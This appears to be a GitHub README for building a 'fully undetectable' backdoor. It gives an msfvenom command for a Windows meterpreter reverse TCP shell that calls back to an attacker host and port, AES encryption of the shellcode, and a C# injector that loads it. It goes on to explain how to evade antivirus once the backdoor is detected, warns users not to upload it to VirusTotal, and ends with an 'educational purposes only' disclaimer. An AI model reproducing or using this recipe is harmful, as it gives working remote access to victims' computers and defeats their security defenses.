🔒 Generate FUD backdoor with a AES Crypter 🔒

Follow the steps bellow to generate a crypted shellcode that can be used on a C++ executable.

#DONT UPLOAD TO VIRUS TOTAL

https://antiscan.me/scan/new/result?id=i55PH2FhUHID

Clone the repository

Download (https://github.com/tr1xongithub/fud-backdoor/)

Generate The ShellCode

msfvenom -p windows/x64/meterpreter/reverse_tcp  -i 10 LHOST=(IP) LPORT=(PORT) -f csharp 

Encode the ShellCode With the AES Encryption

open the shelloader and add the bytes to the AESEncrytion Tool

Add the crypted shellcode on Program.cs in AESEncrptor

Now that you have the shellcode you need to add it on the Program.cs file just like this:

byte[] buf = new byte[] { /*shellcode*/ };

Now Run the Project

Compile The Backdoor

Once You Get the Encoded Shellcode open the AESInjector Project and paste the shellcode into

byte[] duffer = new byte[] { /*shellcode*/ };

Then Compile it as x64 in visual Studios

Execute the backdoor

Now you can execute the backdoor and enjoy the metepreter shell

What if it gets detected?

At some point, the anti viruses will be able to detect this backdoor. Here are some things you can do to make it undetectable again.

You can try to change the payload type protocol and make it http or https and make sure to use another port, add gibberish C# code on the Program.cs file and you can also try playing with the SSL certificate of the session. Here is an article that covers this: https://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation

If this still doesn't work, I can't think of another way to make the connection undetectable since this is a meterpreter shell and they get detected quite easily

DISCLAIMER

I am not responsible for any of your actions. This GitHub repository is made for educational purposes only!!!